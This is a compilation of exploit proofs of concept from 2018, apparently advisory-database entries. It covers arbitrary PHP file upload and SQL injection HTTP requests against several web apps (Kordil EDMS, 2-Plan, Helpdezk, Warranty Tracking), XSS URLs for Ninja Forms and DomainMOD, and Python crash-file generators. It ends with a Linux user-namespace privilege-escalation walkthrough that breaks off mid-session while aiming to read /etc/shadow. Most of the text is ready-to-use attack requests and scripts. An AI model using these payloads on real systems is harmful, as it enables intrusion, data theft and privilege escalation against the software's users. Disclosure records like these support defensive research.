username=12'||(SeleCT%20'Efe'%20FroM%20duAL%20WheRE%20110=110%20AnD%20(seLEcT%20112%20frOM(SElecT%20CouNT(*),ConCAT(CONcat(0x203a20,UseR(),DAtaBASe(),VErsION()),(SeLEct%20(ELT(112=112,1))),FLooR(RAnd(0)*2))x%20FROM%20INFOrmatION_SchEMA.PluGINS%20grOUp%20BY%20x)a))||'
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 07:44:24 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 241
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# Exploit Title: Kordil EDMS 2.2.60rc3 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.kordil.net/
# Software Link: https://vorboss.dl.sourceforge.net/project/kordiledms/Kordil%20EDMS%20v2.2.60rc3/kordil_edms_installer.exe
# Version: 2.2.60rc3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# Users...
# 1)
# http://localhost/[PATH]/routine_emails_to_all_users_add.php
#
POST /[PATH]/routine_emails_to_all_users_add.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=187947eb3de6ad8f5541f2c8d8e94225
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------114917121519378418451544589507
Content-Length: 973
-----------------------------114917121519378418451544589507
Content-Disposition: form-data; name="add_fd1"
admin
-----------------------------114917121519378418451544589507
Content-Disposition: form-data; name="add_fd2"
Efe
-----------------------------114917121519378418451544589507
Content-Disposition: form-data; name="add_fd3"
2018-11-13 15:04:48
-----------------------------114917121519378418451544589507
Content-Disposition: form-data; name="upload_fd4"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------114917121519378418451544589507
Content-Disposition: form-data; name="add_fd5"
-----------------------------114917121519378418451544589507
Content-Disposition: form-data; name="act"
n
-----------------------------114917121519378418451544589507
Content-Disposition: form-data; name="QS_Submit"
Add
-----------------------------114917121519378418451544589507--
HTTP/1.1 302 Found
Date: Tue, 13 Nov 2018 12:15:22 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Location: ./routine_emails_to_all_users.php?
Content-Length: 0
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
GET /PATH/email_attachment/admin-13.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/routine_emails_to_all_users.php?
Cookie: PHPSESSID=187947eb3de6ad8f5541f2c8d8e94225
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 12:15:30 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9
X-Powered-By: PHP/5.2.9
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
# POC:
# 2)
# http://localhost/[PATH]/routine_emails_to_all_users_add.php
#
# http://localhost/[PATH]/email_attachment//[FILE]
#
<html>
<body>
<form name="qs_add_form" method="post" action="http://localhost/[PATH]/routine_emails_to_all_users_add.php" enctype="multipart/form-data">
<input type="hidden" name="add_fd1" value="admin">
<input type="text" name="add_fd2" value="Efe">
<input type="hidden" name="add_fd3" value=" 2018-11-13 15:04:48">
<input type="file" name="upload_fd4" id="File">
<input type="text" name="add_fd5" value="" hidden="true">
<input type="hidden" name="act" value="n">
<input type="submit" name="QS_Submit" value="Add">
</form>
</body>
</html>
# POC:
# 3)
# http://localhost/[PATH]/users_edit.php?currentrow_fd0=[SQL]
#
GET /PATH/users_edit.php?currentrow_fd0=%2d%31%20%20%55%4e%49%4f%4e%20%41%4c%4c%20%53%45%4c%45%43%54%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2c%31%30%2c%31%31%2c%31%32%2c%31%33%2c%31%34%2c%31%35%2c%31%36%2c%31%37%2c%31%38%2c%31%39%2c%32%30%2c%32%31%2c%32%32%2c%32%33%2c%32%34%2c%32%35%2c%32%36%2c%32%37%2c%32%38%2c%32%39%2c%33%30%2c%33%31%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=d015a96da04d6dae8233a68bb35fb5d9
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 12:21:09 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
# POC:
# 4)
# http://localhost/[PATH]/users_edit.php?currentrow_fd0=[SQL]
#
GET /PATH/personal_notebook_category_edit.php?currentrow_fd0=%2d%31%30%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=d015a96da04d6dae8233a68bb35fb5d9
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 12:22:49 GMT
Server: Apache/2.2.11 (Win32) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8i PHP/5.2.9
X-Powered-By: PHP/5.2.9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Keep-Alive: timeout=5, max=97
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
# Exploit Title: 2-Plan Team 1.0.4 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://2-plan.com/
# Software Link: https://datapacket.dl.sourceforge.net/project/to-plan-team/1.1.0/2-plan-team.tgz
# Version: 1.0.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# Users..
# http://localhost/[PATH]/managefile.php?action=upload&id=1
#
POST /[PATH]/managefile.php?action=upload&id=1 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/[PATH]/managefile.php?action=showproject&id=1&mode=added
Cookie: PHPSESSID=2e9jrile8jqaqe9q1acs4i30j6
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------
10091208795715239061851145440
Content-Length: 1192
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="numfiles"
1
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="upfolder"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1-title"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1"
phpinfo.php
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="userfile1-tags"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="desc"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="visible[]"
-----------------------------10091208795715239061851145440
Content-Disposition: form-data; name="sendto[]"
all
-----------------------------10091208795715239061851145440--
HTTP/1.1 302 Found
Date: Wed, 14 Nov 2018 23:41:03 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
GET /[PATH]/files/standard/ef/1/phpinfo_3978873.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=2e9jrile8jqaqe9q1acs4i30j6
Connection: keep-alive
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 23:41:07 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
# Exploit Title: PHP Mass Mail 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://phpmassmail.sourceforge.io/
# Software Link: https://netix.dl.sourceforge.net/project/phpmassmail/phpmassmail/1.0.0/phpmassmail.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/send.php
#
# http://localhost/[PATH]/upload/[FILE]
# ....
#07 require("class.phpmailer.php");
#08
#09 $uploaddir = 'upload';
#10 $key = 0;
#11 $tmp_name = $_FILES["userfile"]["tmp_name"][$key];
#12 $name = $_FILES["userfile"]["name"][$key];
#13 $sendfile = "$uploaddir/$name";
#14 move_uploaded_file($tmp_name, $sendfile);
# ....
POST /[PATH]/send.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/octet-stream
Content-Length: 716
Cookie: PHPSESSID=dhq0fbvco8d0sc0lem3l2kktk0
DNT: 1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-----------------------------265001916915724: undefined
Content-Disposition: form-data; name="userfile[]"; filename="phpinfo.php"
<?php
phpinfo();
?>
-----------------------------265001916915724--
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 19:27:39 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Content-Length: 719
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# POC:
# 2)
# http://localhost/[PATH]/send.php
#
# http://localhost/[PATH]/upload/[FILE]
#
<html>
<body>
<form method="post" action="send.php" enctype="multipart/form-data">
<input name="userfile[]" type="file">
<input value="Send mail" type="submit">
</form>
</body>
</html>
# Exploit Title: Helpdezk 1.1.1 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-11-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.helpdezk.org/
# Software Link: https://netcologne.dl.sourceforge.net/project/helpdezk/helpdezk-1.1.1.zip
# Version: 1.1.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# http://localhost/[PATH]/helpdezk/manageattachments/
#
# Vulnerability found in more than one file.
##Log S1##
//PATH//app//modules//admin//views//upload.php
//PATH//app//modules//admin//views//upload2.php
//PATH//app//modules//admin//views//upload3.php
//PATH//app//modules//admin//views//upload_dsh_image.php
//PATH//app//modules//admin//views//upload_file.php
//PATH//app//modules//admin//views//upload_icon.php
//PATH//app//modules//helpdezk//views//manage_attachments.php
//PATH//app//modules//helpdezk//views//manage_icons.php
//PATH//app//modules//helpdezk//views//upload_file_knowledgebase.php
POST /[PATH]/helpdezk/manageattachments/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------1293691802011755498543585049
Content-Length: 374
-----------------------------1293691802011755498543585049
Content-Disposition: form-data; name="file"; filename="phpinfo.php"
Content-Type: application/force-download
<?php
phpinfo();
?>
-----------------------------1293691802011755498543585049
Content-Disposition: form-data; name="Submit"
Ver Ayari
-----------------------------1293691802011755498543585049--
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 19:10:01 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: PHPSESSID=0qlddpbl1nbpmcaegppm73brg1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 2771
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#
GET /[PATH]/app/uploads/helpdezk/attachments/4.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=0qlddpbl1nbpmcaegppm73brg1
Connection: keep-alive
HTTP/1.1 200 OK
Date: Tue, 13 Nov 2018 19:10:29 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
# POC:
# 2)
# http://localhost/[PATH]/helpdezk/manageattachments/
#
# http://localhost/[PATH]/app/uploads/helpdezk/attachments/[NUMBER].php
#
<html>
<body>
<form action="http://localhost/[PATH]/helpdezk/manageattachments/" method="post" enctype="multipart/form-data" name="formAt">
<input name="file" type="file">
<input type="submit" name="Submit" value="Ver Ayari">
</form>
</body>
</html>
# Exploit Title: Warranty Tracking System 11.06.3 - 'txtCustomerCode' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://warrantytrack.org/
# Software Link: https://kent.dl.sourceforge.net/project/warrantytrack/warrantytrack%20Rel.11.06.3.zip
# Version: 11.06.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# //[PATH]//Customer//SearchCustomer.php
# ....
#83 $strSQL = "SELECT * FROM tblCustomers WHERE 1=1 ";
#84 if ( strlen($_POST["txtCustomerCode"])>0 )
#85 $strSQL .= " And cCuctomerID Like '%" . $_POST["txtCustomerCode"] . "%'";
#86
#87 if ( strlen($_POST["txtCustomerName"])>0 )
#88 $strSQL .= " And cName Like '%" . $_POST["txtCustomerName"] . "%'";
#89
#90 if ( strlen($_POST["txtPhone"])>0 )
#91 $strSQL .= " And cPhone Like '%" . $_POST["txtPhone"] . "%'";
#92
#93 $Result = mysql_query($strSQL);
#94
#95 while($Field_Customer = mysql_fetch_array($Result))
#96 {
# ....
# POC:
# 1)
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
#
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
txtCustomerCode=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:03:04 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4245
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# POC:
# 2)
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
#
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 244
txtCustomerName=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:05:13 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4245
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# POC:
# 3)
# http://localhost/[PATH]/SearchCustomer.php?pDivAlert=NoCustomer
#
POST /PATH/customer/SearchCustomer.php?pDivAlert=NoCustomer HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=909k34togduf8v49mibgj6cpp5
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 237
txtPhone=%27%20%55%6e%69%4f%6e%20%53%65%6c%65%63%74%20%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%32%2c%33%2c%34%2c%35%2c%36%2d%2d%20%2d
HTTP/1.1 200 OK
Date: Wed, 14 Nov 2018 06:06:25 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 4252
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
# Exploit Title: Wordpress Plugin Ninja Forms 3.3.17 - Cross-Site Scripting
# Date: 2018-11-15
# Exploit Author: MTK
# Vendor Homepage: https://ninjaforms.com
# Softwae Link: https://wordpress.org/plugins/ninja-forms/
# Version: Up to V3.3.17
# Tested on: Debian 9 - Apache2 - Wordpress 4.9.8 - Firefox
# CVE : CVE-2018-19287
# Plugin description:
# Ninja Forms is the ultimate FREE form creation tool for WordPress. Build forms within minutes
# using a simple yet powerful drag-and-drop form creator. For beginners, quickly and easily
# design complex forms with absolutely no code. For developers, utilize built-in hooks,
# filters, and even custom field templates to do whatever you need at any step in
# the form building or submission using Ninja Forms as a framework.
# POC
|_1_|
http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date&end_date="><img+src=mtk+onerror=alert(/MTK/);//&filter_action=Filter&paged=1&action2=-1
|_2_|
http://127.0.0.1/wp-admin/edit.php?s&post_status=all&post_type=nf_sub&action=-1&form_id=1&nf_form_filter&begin_date="><img+src=mtk+onerror=alert(/MTK/);//&end_date&filter_action=Filter&paged=1&action2=-1
|_3_|
http://127.0.0.1/wp-admin/edit.php?post_status=trash&post_type=nf_sub&form_id=1"><script>alert(/MTK/);</script>&nf_form_filter&paged=1
# Exploit Title: DomainMOD 4.11.01 - Cross-Site Scripting
# Date: 2018-11-09
# Exploit Author: Dawood Ansar
# Vendor Homepage: domainmod (https://domainmod.org/)
# Software Link: domainmod (https://github.com/domainmod/domainmod)
# Version: v4.09.03 to v4.11.01
# CVE : CVE-2018-19136
# A Reflected Cross-site scripting (XSS) was discovered in DomainMod application
# versions from v4.09.03 to v4.11.01（https://github.com/domainmod/domainmod/issues/79）
# After logging into the Domainmod application panel, browse to the assets/edit/register-account.php
# page and inject a javascript XSS payload in raid parameter
# POC:
http://127.0.0.1/assets/edit/registrar-account.php?raid=hello%22%3E%3Cscript%3Ealert("XSS")%3C%2Fscript%3E&del=1
# Exploit Title: XMPlay 3.8.3 - '.m3u' Denial of Service (PoC)
# Date: 2018-11-18
# Exploit Author: s7acktrac3
# Vendor Homepage: https://www.xmplay.com/
# Software Link: https://support.xmplay.com/files_view.php?file_id=676
# Version: 3.8.3 (latest)
# Tested on: Windows XP/7/8
# CVE : N/A
#
# Lauch XMPlay and either drag xmplay.m3u into the XMPlay window or
# File Menu-> select winamp.m3u and Crash!
# -*- coding: utf-8 -*-
#
# Note: Successfully can overwrite the SEH chain & control the handler and nSEH
# but the address get mangled & unreconizable, for this reason could not turn into
# code execution.
import struct
from struct import pack
file_data = "#EXTM3U\n\r"
file_data += "#EXTINF:200,Sleep Away\n\r"
file_data += "http://test."
max_size = 3000 - 1
nseh_offset = 656
seh_overwrite = pack("<L", 0x00402450)
payload = "A" * nseh_offset # padding for nseh
payload += "BBBB" # nseh
payload += seh_overwrite # seh
#padding for rest of payload - pipe "|" is needed somehow to force crash
payload += "D" *(max_size - len(payload)) + "|"
print "[+] Creating .m3u file with payload size: "+ str(len(payload))
exploit = file_data + payload
file = open('xmplay.m3u','w');
file.write(exploit);
file.close();
print "[+] Done creating the file"
# Exploit Title: Easy Outlook Express Recovery 2.0 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.munsoft.com/EasyOutlookExpressRecovery/
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyOutlookExpressRecovery/download/EasyOutlookExpressRecovery-2.0-Setup.exe
# Version: 2.0
# Other Affectted Software:
# Easy Outlook Recovery 2.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyOutlookRecovery/download/EasyOutlookRecovery-2.0-Setup.exe
# Easy Mail Recovery 2.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyMailRecovery/download/EasyMailRecovery-2.0-Setup.exe
# Easy Office Recovery 2.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyOfficeRecovery/download/EasyOfficeRecovery-2.0-Setup.exe
# Easy File Undelete 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyFileUndelete/download/EasyFileUndelete-3.0-Setup.exe
# Easy NTFS Data Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyNTFSDataRecovery/download/EasyNTFSDataRecovery-3.0-Setup.exe
# Easy FAT Data Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyFATDataRecovery/download/EasyFATDataRecovery-3.0-Setup.exe
# Easy Drive Data Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyDriveDataRecovery/download/EasyDriveDataRecovery-3.0-Setup.exe
# Easy Digital Photo Recovery 3.0
# Software Link: https://s3.eu-central-1.amazonaws.com/munsoft-com-de/EasyDigitalPhotoRecovery/download/EasyDigitalPhotoRecovery-3.0-Setup.exe
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# POC:
# 1)
# Help / Enter a registration key...
#!/usr/bin/python
buffer = "A" * 260
payload = buffer
try:
f=open("exp.txt","w")
print "[+] Creating %s bytes evil payload." %len(payload)
f.write(payload)
f.close()
print "[+] File created!"
except:
print "File cannot be created."
commit 6397fac4915a ("userns: bump idmap limits to 340") increases the number of
possible uid/gid mappings that a namespace can have from 5 to 340. This is
implemented by switching to a different data structure if the number of mappings
exceeds 5: Instead of linear search over an unsorted array of struct
uid_gid_extent, binary search over a sorted array of struct uid_gid_extent is
used. Because ID mappings are queried in both directions (kernel ID to
namespaced ID and namespaced ID to kernel ID), two copies of the array are
created, one per direction, and they are sorted differently.
In map_write(), at first, during the loop that calls insert_extent(), the member
lower_first of each struct uid_gid_extent contains an ID in the parent
namespace. Later, map_id_range_down() is used in a loop to replace these IDs in
the parent namespace with kernel IDs.
The problem is that, when the two sorted arrays are used, the new code omits the
ID transformation for the kernel->namespaced mapping; only the
namespaced->kernel mapping is transformed appropriately.
This means that if you first, from the init namespace, create a user namespace
NS1 with the following uid_map:
0 100000 1000
and then, from NS1, create a nested user namespace NS2 with the following
uid_map:
0 0 1
1 1 1
2 2 1
3 3 1
4 4 1
5 5 995
then make_kuid(NS2, ...) will work properly, but from_kuid(NS2) will be an
identity mapping for UIDs in the range 0..1000.
Most users of from_kuid() are relatively boring, but kuid_has_mapping() is used
in inode_owner_or_capable() and privileged_wrt_inode_uidgid(); so you can abuse
this to gain the ability to override DAC security controls on files whose IDs
aren't mapped in your namespace.
To test this, I installed the "uidmap" package in a Ubuntu 18.04 VM with the
following /etc/subuid and /etc/subgid:
user@ubuntu-18-04-vm:~$ cat /etc/subuid
user:100000:65536
user2:165536:65536
user3:231072:65536
user@ubuntu-18-04-vm:~$ cat /etc/subgid
user:100000:65536
user2:165536:65536
user3:231072:65536
user@ubuntu-18-04-vm:~$
Then, as the user "user", I compiled the two attached helpers (subuid_shell.c
and subshell.c):
user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subuid_shell subuid_shell.c
user@ubuntu-18-04-vm:~/userns_4_15$ gcc -o subshell subshell.c
subuid_shell.c uses the newuidmap helper to set up a namespace that maps 1000
UIDs starting at 100000 to the namespaced UID 0; subshell.c requires namespaced
CAP_SYS_ADMIN and creates a user namespace that maps UIDs 0-999, using six
extents.
I used them as follows to read /etc/shadow:
user@ubuntu-18-04-vm:~/userns_4_15$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),126(sambashare)
user@ubuntu-18-04-vm:~/userns_4_15$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1519 Jul 4 16:11 /etc/shadow
user@ubuntu-18-04-vm:~/userns_4_15$ head -n1 /etc/shadow
head: cannot open '/etc/shadow' for reading: Permission denied
user@ubuntu-18-04-vm:~/userns_4_15$ ./subuid_shell
root@ubuntu-18-04-vm:~/userns_4_15# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@ubuntu-18-04-vm:~/userns_4_15# cat /proc/self/uid_map
0 100000 1000
root@ubuntu-18-04-vm:~/userns_4_15# ls -l /etc/shadow
